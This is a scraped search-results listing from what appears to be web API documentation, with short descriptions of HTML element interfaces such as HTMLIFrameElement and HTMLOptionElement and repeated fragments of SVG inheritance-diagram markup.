...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLIFrameElement - Web APIs
by inheritance) for manipulating the layout and presentation of inline frame elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLImageElement - Web APIs
<img> element, providing the properties and methods used to manipulate image elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLLIElement - Web APIs
interface it also has available to it by inheritance) for manipulating list elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLLabelElement - Web APIs
bel> elements. It inherits methods and properties from the base HTMLElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLLegendElement - Web APIs
<legend> elements. It inherits properties and methods from the HTMLElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLLinkElement - Web APIs
. This object inherits all of the properties and methods of the HTMLElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLMapElement - Web APIs
le to it by inheritance) for manipulating the layout and presentation of map elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLMenuElement - Web APIs
nterface it also has available to it by inheritance) for manipulating <menu> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLMenuItemElement - Web APIs
face it also has available to it by inheritance) for manipulating <menuitem> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLMetaElement - Web APIs
It inherits all of the properties and methods described in the HTMLElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLMeterElement - Web APIs
them by inheritance) for manipulating the layout and presentation of <meter> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLModElement - Web APIs
them by inheritance) for manipulating modification elements, that is <del> and <ins>. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLOListElement - Web APIs
ce it also has available to it by inheritance) for manipulating ordered list elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLObjectElement - Web APIs
ting the layout and presentation of <object> element, representing external resources. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLOptGroupElement - Web APIs
m by inheritance) for manipulating the layout and presentation of <optgroup> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLOptionElement - Web APIs
s <option> elements and inherits all classes and methods of the HTMLElement interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
HTMLOutputElement - Web APIs
d from HTMLElement) for manipulating the layout and presentation of <output> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
